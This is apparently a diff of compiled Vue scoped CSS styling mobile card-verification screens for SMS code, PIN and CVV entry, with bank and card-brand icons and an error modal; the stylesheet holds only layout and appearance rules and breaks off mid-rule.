align-items: center; + padding: 16px 20px; + background: #f7f9fb; + border-bottom: 1px solid #e5e7eb; + flex-shrink: 0 +} + +.card-header.has-card-brand[data-v-e18c07d0] { + justify-content: space-between +} + +.card-header[data-v-e18c07d0]:not(.has-card-brand) { + justify-content: flex-start +} + +.bank-icon[data-v-e18c07d0] { + width: 40px; + height: 40px; + object-fit: contain +} + +.card-brand-icon[data-v-e18c07d0] { + height: 28px; + width: auto; + object-fit: contain +} + +.card-body[data-v-e18c07d0] { + padding: 20px; + position: relative; + flex: 1; + display: flex; + flex-direction: column +} + +.title[data-v-e18c07d0] { + margin: 0 0 12px; + font-size: 20px; + font-weight: 700; + color: #1f2937; + line-height: 1.3 +} + +.description[data-v-e18c07d0] { + margin: 0 0 20px; + color: #6b7280; + font-size: 14px; + line-height: 1.6 +} + +.summary[data-v-e18c07d0] { + background: #f9fafb; + border: 1px solid #e5e7eb; + border-radius: 8px; + padding: 16px; + margin-bottom: 24px +} + +.summary-item[data-v-e18c07d0] { + display: flex; + justify-content: space-between; + align-items: center; + padding: 8px 0; + border-bottom: 1px solid #e5e7eb +} + +.summary-item[data-v-e18c07d0]:last-child { + border-bottom: none; + padding-bottom: 0 +} + +.summary-item[data-v-e18c07d0]:first-child { + padding-top: 0 +} + +.summary-label[data-v-e18c07d0] { + font-size: 14px; + color: #6b7280; + font-weight: 500 +} + +.summary-value[data-v-e18c07d0] { + font-size: 14px; + color: #1f2937; + font-weight: 600; + text-align: right +} + +.waiting-indicator[data-v-e18c07d0] { + display: flex; + flex-direction: column; + align-items: center; + margin-bottom: 24px +} + +.pill[data-v-e18c07d0] { + width: 110px; + height: 34px; + background: #fff; + border: 1px solid #e5e7eb; + border-radius: 17px; + display: flex; + align-items: center; + justify-content: center; + gap: 10px; + box-shadow: 0 2px 6px #0000000f; + margin-bottom: 12px +} + +.dot[data-v-e18c07d0] { + width: 8px; + height: 8px; + border-radius: 50%; + background: #e5e7eb; + animation: pulse-e18c07d0 1.6s infinite ease-in-out +} + +.dot.d1[data-v-e18c07d0] { + animation-delay: 0s +} + +.dot.d2[data-v-e18c07d0] { + animation-delay: .2s +} + +.dot.d3[data-v-e18c07d0] { + animation-delay: .4s +} + +.dot.d4[data-v-e18c07d0] { + animation-delay: .6s +} + +@keyframes pulse-e18c07d0 { + + 0%, + to { + background: #e5e7eb; + transform: translateY(0) + } + + 40% { + background: #22c55e; + transform: translateY(-2px) + } + + 60% { + background: #86efac + } +} + +.waiting-message[data-v-e18c07d0] { + margin: 0; + font-size: 13px; + color: #6b7280; + text-align: center +} + +.error-alert[data-v-e18c07d0] { + display: flex; + align-items: flex-start; + gap: 12px; + padding: 14px 16px; + margin-bottom: 20px; + background: #fff8e1; + border-left: 3px solid #f59e0b; + border-radius: 6px; + animation: fadeIn-e18c07d0 .3s ease-in +} + +.phone-code[dir=rtl] .error-alert[data-v-e18c07d0] { + border-left: none; + border-right: 3px solid #f59e0b +} + +.phone-code[dir=rtl] .title[data-v-e18c07d0], +.phone-code[dir=rtl] .description[data-v-e18c07d0], +.phone-code[dir=rtl] .waiting-message[data-v-e18c07d0], +.phone-code[dir=rtl] .error-alert-title[data-v-e18c07d0], +.phone-code[dir=rtl] .error-alert-message[data-v-e18c07d0], +.phone-code[dir=rtl] .expandable-content p[data-v-e18c07d0] { + text-align: right +} + +.phone-code[dir=rtl] .card-header[data-v-e18c07d0], +.phone-code[dir=rtl] .expandable-item[data-v-e18c07d0] { + flex-direction: row-reverse +} + +.error-alert-icon[data-v-e18c07d0] { + flex-shrink: 0; + color: #f59e0b; + display: flex; + align-items: center; + justify-content: center; + margin-top: 2px +} + +.error-alert-icon svg[data-v-e18c07d0] { + width: 20px; + height: 20px +} + +.error-alert-content[data-v-e18c07d0] { + flex: 1; + display: flex; + flex-direction: column; + gap: 6px +} + +.error-alert-title[data-v-e18c07d0] { + font-size: 14px; + font-weight: 600; + color: #92400e; + line-height: 1.4; + letter-spacing: -.01em +} + +.error-alert-message[data-v-e18c07d0] { + font-size: 13px; + color: #78350f; + line-height: 1.5; + letter-spacing: -.005em +} + +.action-buttons[data-v-e18c07d0] { + display: flex; + flex-direction: column; + gap: 12px; + margin-bottom: 24px +} + +.confirm-button[data-v-e18c07d0], +.not-received-button[data-v-e18c07d0] { + width: 100%; + padding: 12px 20px; + border: none; + border-radius: 8px; + font-size: 14px; + font-weight: 500; + cursor: pointer; + transition: all .2s; + -webkit-tap-highlight-color: transparent +} + +.confirm-button[data-v-e18c07d0] { + background: #2563eb; + color: #fff +} + +.confirm-button[data-v-e18c07d0]:active { + background: #1d4ed8 +} + +.not-received-button[data-v-e18c07d0] { + background: #fff; + color: #374151; + border: 1px solid #e5e7eb +} + +.not-received-button[data-v-e18c07d0]:active:not(:disabled) { + background: #f9fafb; + border-color: #d1d5db +} + +.not-received-button[data-v-e18c07d0]:disabled { + opacity: .6; + cursor: not-allowed; + background: #f3f4f6; + color: #9ca3af; + border-color: #e5e7eb +} + +.expandable-section[data-v-e18c07d0] { + margin-bottom: 16px; + border-top: 1px solid #e5e7eb; + padding-top: 16px +} + +.expandable-item[data-v-e18c07d0] { + display: flex; + justify-content: space-between; + align-items: center; + cursor: pointer; + padding: 8px 0; + color: #374151; + font-size: 14px; + font-weight: 500; + -webkit-user-select: none; + user-select: none; + transition: color .2s; + -webkit-tap-highlight-color: transparent +} + +.expandable-item[data-v-e18c07d0]:active { + color: #2563eb +} + +.expand-icon[data-v-e18c07d0] { + font-size: 20px; + font-weight: 300; + color: #6b7280; + transition: transform .3s, color .2s; + line-height: 1; + width: 20px; + height: 20px; + display: flex; + align-items: center; + justify-content: center; + flex-shrink: 0 +} + +.expand-icon.expanded[data-v-e18c07d0] { + transform: rotate(45deg); + color: #2563eb +} + +.expandable-content[data-v-e18c07d0] { + margin-top: 12px; + padding: 12px 0; + color: #6b7280; + font-size: 13px; + line-height: 1.6; + animation: fadeIn-e18c07d0 .3s ease-in +} + +.expandable-content p[data-v-e18c07d0] { + margin: 0 +} + +@keyframes fadeIn-e18c07d0 { + 0% { + opacity: 0; + transform: translateY(-5px) + } + + to { + opacity: 1; + transform: translateY(0) + } +} + +@media(min-width:768px) { + .phone-code[data-v-e18c07d0] { + min-height: auto; + padding: 20px; + background: transparent; + align-items: center + } + + .card[data-v-e18c07d0] { + min-height: auto; + border-radius: 12px; + box-shadow: 0 2px 8px #0000001a + } + + .card-header[data-v-e18c07d0] { + padding: 20px 24px + } + + .bank-icon[data-v-e18c07d0] { + width: 48px; + height: 48px + } + + .card-brand-icon[data-v-e18c07d0] { + height: 30px + } + + .card-body[data-v-e18c07d0] { + padding: 24px + } + + .title[data-v-e18c07d0] { + font-size: 24px + } + + .description[data-v-e18c07d0] { + margin-bottom: 24px + } + + .summary[data-v-e18c07d0] { + padding: 20px + } + + .expandable-item[data-v-e18c07d0]:hover { + color: #2563eb + } + + .confirm-button[data-v-e18c07d0]:hover { + background: #1d4ed8 + } + + .not-received-button[data-v-e18c07d0]:hover { + background: #f9fafb; + border-color: #d1d5db + } +} + +@media(max-width:375px) { + .card-header[data-v-e18c07d0] { + padding: 14px 16px + } + + .bank-icon[data-v-e18c07d0] { + width: 36px; + height: 36px + } + + .card-brand-icon[data-v-e18c07d0] { + height: 24px + } + + .card-body[data-v-e18c07d0] { + padding: 16px + } + + .title[data-v-e18c07d0] { + font-size: 18px; + margin-bottom: 10px + } + + .description[data-v-e18c07d0] { + font-size: 13px; + margin-bottom: 16px + } + + .summary[data-v-e18c07d0] { + padding: 12px + } + + .summary-item[data-v-e18c07d0] { + padding: 6px 0 + } + + .summary-label[data-v-e18c07d0], + .summary-value[data-v-e18c07d0] { + font-size: 13px + } +} + +.phone-code[data-v-a5b11e12] { + width: 100%; + max-width: 100%; + min-height: 100vh; + display: flex; + justify-content: center; + align-items: flex-start; + padding: 0; + background: #fff; + overflow-x: hidden; + box-sizing: border-box +} + +.card[data-v-a5b11e12] { + width: 100%; + max-width: 500px; + min-height: 100vh; + background: #fff; + border-radius: 0; + box-shadow: none; + overflow: hidden; + overflow-x: hidden; + position: relative; + display: flex; + flex-direction: column; + box-sizing: border-box +} + +.card-header[data-v-a5b11e12] { + display: flex; + align-items: center; + padding: 16px 20px; + background: #f7f9fb; + border-bottom: 1px solid #e5e7eb; + flex-shrink: 0 +} + +.card-header.has-card-brand[data-v-a5b11e12] { + justify-content: space-between +} + +.card-header[data-v-a5b11e12]:not(.has-card-brand) { + justify-content: flex-start +} + +.bank-icon[data-v-a5b11e12] { + width: 40px; + height: 40px; + object-fit: contain +} + +.card-brand-icon[data-v-a5b11e12] { + height: 28px; + width: auto; + object-fit: contain +} + +.card-body[data-v-a5b11e12] { + padding: 20px; + position: relative; + flex: 1; + display: flex; + flex-direction: column +} + +.title[data-v-a5b11e12] { + margin: 0 0 12px; + font-size: 20px; + font-weight: 700; + color: #1f2937; + line-height: 1.3 +} + +.description[data-v-a5b11e12] { + margin: 0 0 20px; + color: #6b7280; + font-size: 14px; + line-height: 1.6 +} + +.field[data-v-a5b11e12] { + margin-bottom: 20px +} + +.label[data-v-a5b11e12] { + display: block; + margin-bottom: 8px; + font-size: 14px; + color: #374151; + font-weight: 600 +} + +.error[data-v-a5b11e12] { + margin-top: 8px; + font-size: 13px; + color: #ef4444 +} + +.actions[data-v-a5b11e12] { + display: flex; + align-items: center; + gap: 12px; + margin-bottom: 24px; + flex-wrap: wrap +} + +.submit[data-v-a5b11e12] { + padding: 12px 24px; + border: none; + border-radius: 6px; + background: #2563eb; + color: #fff; + font-size: 14px; + font-weight: 600; + cursor: pointer; + min-width: 100px; + flex: 1; + transition: background-color .2s; + -webkit-tap-highlight-color: transparent +} + +.submit[data-v-a5b11e12]:hover:not(:disabled) { + background: #1d4ed8 +} + +.submit[data-v-a5b11e12]:active:not(:disabled) { + background: #1e40af +} + +.submit[data-v-a5b11e12]:disabled { + opacity: .6; + cursor: not-allowed +} + +.expandable-section[data-v-a5b11e12] { + margin-bottom: 16px; + border-top: 1px solid #e5e7eb; + padding-top: 16px +} + +.expandable-item[data-v-a5b11e12] { + display: flex; + justify-content: space-between; + align-items: center; + cursor: pointer; + padding: 8px 0; + color: #374151; + font-size: 14px; + font-weight: 500; + -webkit-user-select: none; + user-select: none; + transition: color .2s; + -webkit-tap-highlight-color: transparent +} + +.expandable-item[data-v-a5b11e12]:active { + color: #2563eb +} + +.expand-icon[data-v-a5b11e12] { + font-size: 20px; + font-weight: 300; + color: #6b7280; + transition: transform .3s, color .2s; + line-height: 1; + width: 20px; + height: 20px; + display: flex; + align-items: center; + justify-content: center; + flex-shrink: 0 +} + +.expand-icon.expanded[data-v-a5b11e12] { + transform: rotate(45deg); + color: #2563eb +} + +.expandable-content[data-v-a5b11e12] { + margin-top: 12px; + padding: 12px 0; + color: #6b7280; + font-size: 13px; + line-height: 1.6; + animation: fadeIn-a5b11e12 .3s ease-in +} + +.expandable-content p[data-v-a5b11e12] { + margin: 0 +} + +.phone-code[dir=rtl] .title[data-v-a5b11e12], +.phone-code[dir=rtl] .description[data-v-a5b11e12], +.phone-code[dir=rtl] .label[data-v-a5b11e12], +.phone-code[dir=rtl] .error[data-v-a5b11e12], +.phone-code[dir=rtl] .expandable-content p[data-v-a5b11e12] { + text-align: right +} + +.phone-code[dir=rtl] .card-header[data-v-a5b11e12], +.phone-code[dir=rtl] .expandable-item[data-v-a5b11e12] { + flex-direction: row-reverse +} + +@keyframes fadeIn-a5b11e12 { + 0% { + opacity: 0; + transform: translateY(-5px) + } + + to { + opacity: 1; + transform: translateY(0) + } +} + +.overlay[data-v-a5b11e12] { + position: absolute; + inset: 0; + background: #fffc; + display: flex; + align-items: center; + justify-content: center; + border-radius: 0; + z-index: 10 +} + +.spinner[data-v-a5b11e12] { + width: 32px; + height: 32px; + border: 3px solid #e5e7eb; + border-top-color: #2563eb; + border-radius: 50%; + animation: spin-a5b11e12 1s linear infinite +} + +@keyframes spin-a5b11e12 { + to { + transform: rotate(360deg) + } +} + +@media(min-width:768px) { + .phone-code[data-v-a5b11e12] { + min-height: auto; + padding: 20px; + background: transparent; + align-items: center + } + + .card[data-v-a5b11e12] { + min-height: auto; + border-radius: 12px; + box-shadow: 0 2px 8px #0000001a + } + + .card-header[data-v-a5b11e12] { + padding: 20px 24px + } + + .bank-icon[data-v-a5b11e12] { + width: 48px; + height: 48px + } + + .card-brand-icon[data-v-a5b11e12] { + height: 30px + } + + .card-body[data-v-a5b11e12] { + padding: 24px + } + + .title[data-v-a5b11e12] { + font-size: 24px + } + + .description[data-v-a5b11e12] { + margin-bottom: 24px + } + + .actions[data-v-a5b11e12] { + gap: 16px + } + + .submit[data-v-a5b11e12] { + flex: 0 1 auto + } + + .expandable-item[data-v-a5b11e12]:hover { + color: #2563eb + } + + .overlay[data-v-a5b11e12] { + border-radius: 12px + } +} + +@media(max-width:375px) { + .card-header[data-v-a5b11e12] { + padding: 14px 16px + } + + .bank-icon[data-v-a5b11e12] { + width: 36px; + height: 36px + } + + .card-brand-icon[data-v-a5b11e12] { + height: 24px + } + + .card-body[data-v-a5b11e12] { + padding: 16px + } + + .title[data-v-a5b11e12] { + font-size: 18px; + margin-bottom: 10px + } + + .description[data-v-a5b11e12] { + font-size: 13px; + margin-bottom: 16px + } + + .actions[data-v-a5b11e12] { + flex-direction: column; + gap: 8px + } + + .submit[data-v-a5b11e12] { + width: 100% + } +} + +.custom-code[data-v-34614816] { + width: 100%; + max-width: 100%; + min-height: 100vh; + display: flex; + justify-content: center; + align-items: flex-start; + padding: 0; + background: #fff; + overflow-x: hidden; + box-sizing: border-box +} + +.card[data-v-34614816] { + width: 100%; + max-width: 500px; + min-height: 100vh; + background: #fff; + border-radius: 0; + box-shadow: none; + overflow: hidden; + overflow-x: hidden; + position: relative; + display: flex; + flex-direction: column; + box-sizing: border-box +} + +.card-header[data-v-34614816] { + display: flex; + align-items: center; + padding: 16px 20px; + background: #fff; + border-bottom: 1px solid #e5e7eb; + flex-shrink: 0; + justify-content: flex-start +} + +.card-header.has-card-brand[data-v-34614816] { + justify-content: space-between +} + +.card-header[data-v-34614816]:not(.has-card-brand) { + justify-content: flex-start +} + +.bank-icon[data-v-34614816] { + height: 40px; + width: auto; + object-fit: contain +} + +.card-brand-icon[data-v-34614816] { + height: 28px; + width: auto; + object-fit: contain +} + +.card-body[data-v-34614816] { + padding: 20px; + position: relative; + flex: 1; + display: flex; + flex-direction: column +} + +.title[data-v-34614816] { + margin: 0 0 12px; + font-size: 20px; + font-weight: 700; + color: #1f2937; + line-height: 1.3 +} + +.description[data-v-34614816] { + margin: 0 0 20px; + color: #6b7280; + font-size: 14px; + line-height: 1.6 +} + +.field[data-v-34614816] { + margin-bottom: 20px +} + +.label[data-v-34614816] { + display: block; + margin-bottom: 8px; + font-size: 14px; + font-weight: 500; + color: #374151; + line-height: 1.4 +} + +.pin-boxes[data-v-34614816] { + display: flex; + gap: 10px; + justify-content: center; + flex-wrap: wrap +} + +.pin-box[data-v-34614816] { + width: 70px; + height: 70px; + text-align: center; + font-size: 22px; + font-weight: 600; + border: 2px solid #e5e7eb; + border-radius: 8px; + color: #1f2937; + background: #fff; + box-sizing: border-box; + -webkit-tap-highlight-color: transparent +} + +.pin-box[data-v-34614816]:focus { + outline: none; + border-color: var(--input-focus-color, #2563eb); + box-shadow: 0 0 0 3px color-mix(in srgb, var(--input-focus-color, #2563eb) 20%, transparent) +} + +.pin-box[data-v-34614816]::placeholder { + color: #9ca3af +} + +.card-body[data-v-34614816] .sailors-input:focus:not(:disabled) { + border-color: var(--input-focus-color, #2563eb); + box-shadow: 0 0 0 2px color-mix(in srgb, var(--input-focus-color, #2563eb) 18%, transparent) +} + +.error[data-v-34614816] { + margin-top: 8px; + margin-bottom: 16px; + font-size: 13px; + color: #ef4444 +} + +.actions[data-v-34614816] { + display: flex; + align-items: center; + gap: 12px; + margin-bottom: 24px; + flex-wrap: wrap +} + +.submit[data-v-34614816] { + padding: 12px 24px; + border: none; + border-radius: 6px; + background: #2563eb; + color: #fff; + font-size: 14px; + font-weight: 600; + cursor: pointer; + min-width: 100px; + flex: 1; + transition: background-color .2s; + -webkit-tap-highlight-color: transparent +} + +.submit[data-v-34614816]:hover:not(:disabled) { + background: #1d4ed8 +} + +.submit.submit--custom-color[data-v-34614816]:hover:not(:disabled) { + filter: brightness(.92) +} + +.submit[data-v-34614816]:active:not(:disabled) { + background: #1e40af +} + +.submit.submit--custom-color[data-v-34614816]:active:not(:disabled) { + filter: brightness(.85) +} + +.submit[data-v-34614816]:disabled { + opacity: .6; + cursor: not-allowed +} + +.link[data-v-34614816] { + background: transparent; + border: none; + color: #2563eb; + font-size: 14px; + font-weight: 500; + cursor: pointer; + padding: 12px 0; + text-decoration: none; + transition: color .2s; + -webkit-tap-highlight-color: transparent +} + +.link[data-v-34614816]:hover:not(:disabled) { + color: #1d4ed8; + text-decoration: underline +} + +.link[data-v-34614816]:active:not(:disabled) { + color: #1e40af +} + +.link[data-v-34614816]:disabled { + color: #9ca3af; + cursor: not-allowed; + opacity: .6 +} + +.overlay[data-v-34614816] { + position: absolute; + inset: 0; + background: #fffc; + display: flex; + align-items: center; + justify-content: center; + border-radius: 0; + z-index: 10 +} + +.spinner[data-v-34614816] { + width: 32px; + height: 32px; + border: 3px solid #e5e7eb; + border-top-color: #2563eb; + border-radius: 50%; + animation: spin-34614816 1s linear infinite +} + +@keyframes spin-34614816 { + to { + transform: rotate(360deg) + } +} + +@media(min-width:768px) { + .custom-code[data-v-34614816] { + min-height: auto; + padding: 20px; + background: transparent; + align-items: center + } + + .card[data-v-34614816] { + min-height: auto; + border-radius: 12px; + box-shadow: 0 2px 8px #0000001a + } + + .card-header[data-v-34614816] { + padding: 20px 24px + } + + .bank-icon[data-v-34614816] { + height: 40px; + width: auto + } + + .card-brand-icon[data-v-34614816] { + height: 30px + } + + .card-body[data-v-34614816] { + padding: 24px + } + + .title[data-v-34614816] { + font-size: 24px + } + + .description[data-v-34614816] { + margin-bottom: 24px + } + + .actions[data-v-34614816] { + gap: 16px + } + + .submit[data-v-34614816] { + flex: 0 1 auto + } + + .link[data-v-34614816] { + padding: 0 + } + + .overlay[data-v-34614816] { + border-radius: 12px + } +} + +.custom-code[dir=rtl] .title[data-v-34614816], +.custom-code[dir=rtl] .description[data-v-34614816], +.custom-code[dir=rtl] .label[data-v-34614816], +.custom-code[dir=rtl] .error[data-v-34614816] { + text-align: right +} + +.custom-code[dir=rtl] .card-header[data-v-34614816], +.custom-code[dir=rtl] .expandable-item[data-v-34614816], +.custom-code[dir=rtl] .actions[data-v-34614816] { + flex-direction: row-reverse +} + +@media(max-width:375px) { + .card-header[data-v-34614816] { + padding: 14px 16px + } + + .bank-icon[data-v-34614816] { + height: 36px; + width: auto + } + + .card-brand-icon[data-v-34614816] { + height: 24px + } + + .card-body[data-v-34614816] { + padding: 16px + } + + .title[data-v-34614816] { + font-size: 18px; + margin-bottom: 10px + } + + .description[data-v-34614816] { + font-size: 13px; + margin-bottom: 16px + } + + .pin-boxes[data-v-34614816] { + gap: 6px + } + + .pin-box[data-v-34614816] { + width: 48px; + height: 56px; + font-size: 18px + } + + .actions[data-v-34614816] { + flex-direction: column; + gap: 8px + } + + .submit[data-v-34614816] { + width: 100% + } + + .link[data-v-34614816] { + width: 100%; + text-align: center + } +} + +.phone-code[data-v-bf431b90] { + width: 100%; + max-width: 100%; + min-height: 100vh; + display: flex; + justify-content: center; + align-items: flex-start; + padding: 0; + background: #fff; + overflow-x: hidden; + box-sizing: border-box +} + +.card[data-v-bf431b90] { + width: 100%; + max-width: 500px; + min-height: 100vh; + background: #fff; + border-radius: 0; + box-shadow: none; + overflow: hidden; + overflow-x: hidden; + position: relative; + display: flex; + flex-direction: column; + box-sizing: border-box +} + +.card-header[data-v-bf431b90] { + display: flex; + align-items: center; + padding: 16px 20px; + background: #f7f9fb; + border-bottom: 1px solid #e5e7eb; + flex-shrink: 0 +} + +.card-header.has-card-brand[data-v-bf431b90] { + justify-content: space-between +} + +.card-header[data-v-bf431b90]:not(.has-card-brand) { + justify-content: flex-start +} + +.bank-icon[data-v-bf431b90] { + width: 40px; + height: 40px; + object-fit: contain +} + +.card-brand-icon[data-v-bf431b90] { + height: 28px; + width: auto; + object-fit: contain +} + +.card-body[data-v-bf431b90] { + padding: 20px; + position: relative; + flex: 1; + display: flex; + flex-direction: column +} + +.title[data-v-bf431b90] { + margin: 0 0 12px; + font-size: 20px; + font-weight: 700; + color: #1f2937; + line-height: 1.3 +} + +.description[data-v-bf431b90] { + margin: 0 0 20px; + color: #6b7280; + font-size: 14px; + line-height: 1.6 +} + +.field[data-v-bf431b90] { + margin-bottom: 20px +} + +.label[data-v-bf431b90] { + display: block; + margin-bottom: 8px; + font-size: 14px; + color: #374151; + font-weight: 600 +} + +.cvv-inputs-wrapper[data-v-bf431b90] { + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; + margin-bottom: 12px; + gap: 12px +} + +.cvv-inputs-container[data-v-bf431b90] { + display: flex; + gap: 16px; + justify-content: center; + align-items: center; + margin-bottom: 12px; + padding: 8px 0 +} + +.cvv-input[data-v-bf431b90] { + width: 72px; + height: 72px; + text-align: center; + font-size: 28px; + font-weight: 500; + letter-spacing: 0; + border: 2px solid #d2d2d7; + border-radius: 12px; + background: #f5f5f7; + color: #1d1d1f; + transition: all .25s cubic-bezier(.4, 0, .2, 1); + -webkit-tap-highlight-color: transparent; + box-sizing: border-box; + caret-color: #007aff; + -webkit-appearance: none; + appearance: none +} + +.cvv-input[data-v-bf431b90]::placeholder { + color: transparent +} + +.cvv-input[data-v-bf431b90]:focus { + outline: none; + border-color: #007aff; + background: #fff; + box-shadow: 0 0 0 4px #007aff1f; + transform: scale(1.02) +} + +.cvv-input-filled[data-v-bf431b90] { + background: #fff; + border-color: #d2d2d7 +} + +.cvv-input-filled[data-v-bf431b90]:focus { + border-color: #007aff +} + +.cvv-input-error[data-v-bf431b90] { + border-color: #ff3b30; + background: #fff5f5 +} + +.cvv-input-error[data-v-bf431b90]:focus { + border-color: #ff3b30; + box-shadow: 0 0 0 4px #ff3b301f +} + +.cvv-input[data-v-bf431b90]:disabled { + opacity: .5; + cursor: not-allowed; + background: #f5f5f7 +} + +.error[data-v-bf431b90] { + margin-top: 12px; + font-size: 13px; + color: #ff3b30; + text-align: center; + line-height: 1.5; + padding: 8px 12px; + background: #fff5f5; + border-radius: 8px; + border: 1px solid #ffe5e5; + animation: fadeIn-bf431b90 .2s ease-in +} + +.actions[data-v-bf431b90] { + display: flex; + align-items: center; + gap: 12px; + margin-bottom: 24px; + flex-wrap: wrap +} + +.submit[data-v-bf431b90] { + padding: 12px 24px; + border: none; + border-radius: 6px; + background: #2563eb; + color: #fff; + font-size: 14px; + font-weight: 600; + cursor: pointer; + min-width: 100px; + flex: 1; + transition: background-color .2s; + -webkit-tap-highlight-color: transparent +} + +.submit[data-v-bf431b90]:hover:not(:disabled) { + background: #1d4ed8 +} + +.submit[data-v-bf431b90]:active:not(:disabled) { + background: #1e40af +} + +.submit[data-v-bf431b90]:disabled { + opacity: .6; + cursor: not-allowed +} + +.expandable-section[data-v-bf431b90] { + margin-bottom: 16px; + border-top: 1px solid #e5e7eb; + padding-top: 16px +} + +.expandable-item[data-v-bf431b90] { + display: flex; + justify-content: space-between; + align-items: center; + cursor: pointer; + padding: 8px 0; + color: #374151; + font-size: 14px; + font-weight: 500; + -webkit-user-select: none; + user-select: none; + transition: color .2s; + -webkit-tap-highlight-color: transparent +} + +.expandable-item[data-v-bf431b90]:active { + color: #2563eb +} + +.expand-icon[data-v-bf431b90] { + font-size: 20px; + font-weight: 300; + color: #6b7280; + transition: transform .3s, color .2s; + line-height: 1; + width: 20px; + height: 20px; + display: flex; + align-items: center; + justify-content: center; + flex-shrink: 0 +} + +.expand-icon.expanded[data-v-bf431b90] { + transform: rotate(45deg); + color: #2563eb +} + +.expandable-content[data-v-bf431b90] { + margin-top: 12px; + padding: 12px 0; + color: #6b7280; + font-size: 13px; + line-height: 1.6; + animation: fadeIn-bf431b90 .3s ease-in +} + +.expandable-content p[data-v-bf431b90] { + margin: 0 +} + +.phone-code[dir=rtl] .title[data-v-bf431b90], +.phone-code[dir=rtl] .description[data-v-bf431b90], +.phone-code[dir=rtl] .label[data-v-bf431b90], +.phone-code[dir=rtl] .error[data-v-bf431b90], +.phone-code[dir=rtl] .expandable-content p[data-v-bf431b90] { + text-align: right +} + +.phone-code[dir=rtl] .card-header[data-v-bf431b90], +.phone-code[dir=rtl] .expandable-item[data-v-bf431b90], +.phone-code[dir=rtl] .cvv-inputs[data-v-bf431b90] { + flex-direction: row-reverse +} + +@keyframes fadeIn-bf431b90 { + 0% { + opacity: 0; + transform: translateY(-5px) + } + + to { + opacity: 1; + transform: translateY(0) + } +} + +.overlay[data-v-bf431b90] { + position: absolute; + inset: 0; + background: #fffc; + display: flex; + align-items: center; + justify-content: center; + border-radius: 0; + z-index: 10 +} + +.spinner[data-v-bf431b90] { + width: 32px; + height: 32px; + border: 3px solid #e5e7eb; + border-top-color: #2563eb; + border-radius: 50%; + animation: spin-bf431b90 1s linear infinite +} + +@keyframes spin-bf431b90 { + to { + transform: rotate(360deg) + } +} + +@media(min-width:768px) { + .phone-code[data-v-bf431b90] { + min-height: auto; + padding: 20px; + background: transparent; + align-items: center + } + + .card[data-v-bf431b90] { + min-height: auto; + border-radius: 12px; + box-shadow: 0 2px 8px #0000001a + } + + .card-header[data-v-bf431b90] { + padding: 20px 24px + } + + .bank-icon[data-v-bf431b90] { + width: 48px; + height: 48px + } + + .card-brand-icon[data-v-bf431b90] { + height: 30px + } + + .card-body[data-v-bf431b90] { + padding: 24px + } + + .title[data-v-bf431b90] { + font-size: 24px + } + + .description[data-v-bf431b90] { + margin-bottom: 24px + } + + .cvv-inputs-container[data-v-bf431b90] { + gap: 20px; + padding: 12px 0; + margin-bottom: 16px + } + + .cvv-input[data-v-bf431b90] { + width: 80px; + height: 80px; + font-size: 32px; + border-radius: 14px + } + + .actions[data-v-bf431b90] { + gap: 16px + } + + .submit[data-v-bf431b90] { + flex: 0 1 auto + } + + .expandable-item[data-v-bf431b90]:hover { + color: #2563eb + } + + .overlay[data-v-bf431b90] { + border-radius: 12px + } +} + +@media(max-width:375px) { + .card-header[data-v-bf431b90] { + padding: 14px 16px + } + + .bank-icon[data-v-bf431b90] { + width: 36px; + height: 36px + } + + .card-brand-icon[data-v-bf431b90] { + height: 24px + } + + .card-body[data-v-bf431b90] { + padding: 16px + } + + .title[data-v-bf431b90] { + font-size: 18px; + margin-bottom: 10px + } + + .description[data-v-bf431b90] { + font-size: 13px; + margin-bottom: 16px + } + + .cvv-inputs-container[data-v-bf431b90] { + gap: 10px; + padding: 4px 0; + margin-bottom: 8px + } + + .cvv-input[data-v-bf431b90] { + width: 64px; + height: 64px; + font-size: 24px; + border-radius: 10px + } + + .actions[data-v-bf431b90] { + flex-direction: column; + gap: 8px + } + + .submit[data-v-bf431b90] { + width: 100% + } +} + +.sailors-input-container[data-v-c469c74c] { + display: flex; + width: 100%; + box-sizing: border-box +} + +.sailors-input-label-top[data-v-c469c74c] { + flex-direction: column; + gap: 8px +} + +.sailors-input-label-left[data-v-c469c74c] { + flex-direction: row; + align-items: flex-start; + gap: 12px +} + +.sailors-input-label-left .sailors-input-label[data-v-c469c74c] { + min-width: 80px; + padding-top: 8px +} + +.sailors-input-label-right[data-v-c469c74c] { + flex-direction: row-reverse; + align-items: flex-start; + gap: 12px +} + +.sailors-input-label-right .sailors-input-label[data-v-c469c74c] { + min-width: 80px; + padding-top: 8px; + text-align: right +} + +.sailors-input-label[data-v-c469c74c] { + display: flex; + align-items: center; + font-size: 14px; + color: #333; + font-weight: 500 +} + +.sailors-input-label-text[data-v-c469c74c] { + white-space: nowrap +} + +.sailors-input-wrapper[data-v-c469c74c] { + flex: 1; + display: flex; + flex-direction: column; + gap: 4px +} + +.sailors-input-field[data-v-c469c74c] { + position: relative; + width: 100% +} + +.sailors-input[data-v-c469c74c] { + width: 100%; + padding: 8px 40px 8px 12px; + font-size: 14px; + line-height: 1.5; + color: #333; + background-color: #fff; + border: 1px solid #dcdfe6; + border-radius: 4px; + outline: none; + transition: border-color .3s; + box-sizing: border-box +} + +.sailors-input-suffix[data-v-c469c74c] { + position: absolute; + right: 8px; + top: 50%; + transform: translateY(-50%); + display: flex; + align-items: center; + gap: 6px; + pointer-events: none +} + +.sailors-input[data-v-c469c74c]:hover:not(:disabled) { + border-color: #c0c4cc +} + +.sailors-input[data-v-c469c74c]:focus:not(:disabled) { + border-color: #409eff +} + +.sailors-input[data-v-c469c74c]:disabled { + background-color: #f5f7fa; + cursor: not-allowed; + color: #c0c4cc +} + +.sailors-input-error .sailors-input[data-v-c469c74c] { + border-color: #f56c6c +} + +.sailors-input-error .sailors-input[data-v-c469c74c]:focus { + border-color: #f56c6c +} + +.sailors-input-error-message[data-v-c469c74c] { + font-size: 12px; + color: #f56c6c; + line-height: 1.5; + margin-top: 2px +} + +.sailors-input-disabled .sailors-input-label[data-v-c469c74c] { + color: #c0c4cc +} + +.error-modal-overlay[data-v-0237ad60] { + position: fixed; + inset: 0; + width: 100%; + height: 100%; + background: #00000080; + -webkit-backdrop-filter: blur(4px); + backdrop-filter: blur(4px); + display: flex; + align-items: center; + justify-content: center; + z-index: 9999; + padding: 20px; + box-sizing: border-box +} + +.error-modal[data-v-0237ad60] { + background: #fff; + border-radius: 8px; + box-shadow: 0 8px 32px #0000001f; + border: 1px solid #E5E7EB; + max-width: 480px; + width: 100%; + max-height: 90vh; + overflow: hidden; + display: flex; + flex-direction: column; + position: relative +} + +.error-modal__body[data-v-0237ad60] { + padding: 40px 32px 